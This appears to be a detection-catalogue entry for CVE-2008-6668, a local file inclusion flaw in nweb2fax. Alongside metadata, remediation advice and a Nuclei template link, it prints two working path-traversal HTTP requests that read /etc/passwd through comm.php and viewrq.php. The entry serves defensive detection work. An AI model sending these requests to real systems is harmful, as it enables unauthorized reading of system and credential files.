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CVE-2008-6668: nweb2fax <=0.2.7 - Local File Inclusion

Titlenweb2fax <=0.2.7 - Local File Inclusion
Authorgeeknik
SeverityMedium
ImpactSuccessful exploitation of this vulnerability can lead to unauthorized access to sensitive information, including configuration files, credentials, and other sensitive data.
RemediationUpgrade to a patched version of nweb2fax or apply the necessary security patches provided by the vendor.
CVSS Score5
EPSS Score0.00573
CVE IDCVE-2008-6668
CWE IDCWE-22
Tags cve cve2008 nweb2fax lfi traversal edb dirk_bartley vkev vuln

🔍 Vulnerability Description

nweb2fax 0.2.7 and earlier allow remote attackers to read arbitrary files via the id parameter submitted to comm.php and the var_filename parameter submitted to viewrq.php.

🌐 HTTP Request

GET /comm.php?id=../../../../../../../../../../etc/passwd HTTP/1.1
Host: www.victim.com
User-Agent: Mozilla/5.0 (Windows; U; Windows NT 5.1; hu-HU) AppleWebKit/528.16 (KHTML, like Gecko) Version/4.0 Safari/528.16
Connection: close
Accept: */*
Accept-Language: en
Accept-Encoding: gzip
GET /viewrq.php?format=ps&var_filename=../../../../../../../../../../etc/passwd HTTP/1.1
Host: www.victim.com
User-Agent: Mozilla/5.0 (Kubuntu; Linux i686) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/129.0.0.0 Safari/537.36
Connection: close
Accept: */*
Accept-Language: en
Accept-Encoding: gzip

📚 References


🔗 Nuclei Template: https://github.com/packetinside/nuclei-templates/blob/main/http/cves/2008/CVE-2008-6668.yaml

🦈 Packet Capture: ⬇️ Download cve-2008-6668.pcap

⚠️ Notice: These rules are for detection purposes. Please tune them before applying to a production environment.
Snort 2 Rule
N/A
Snort 3 Rule
N/A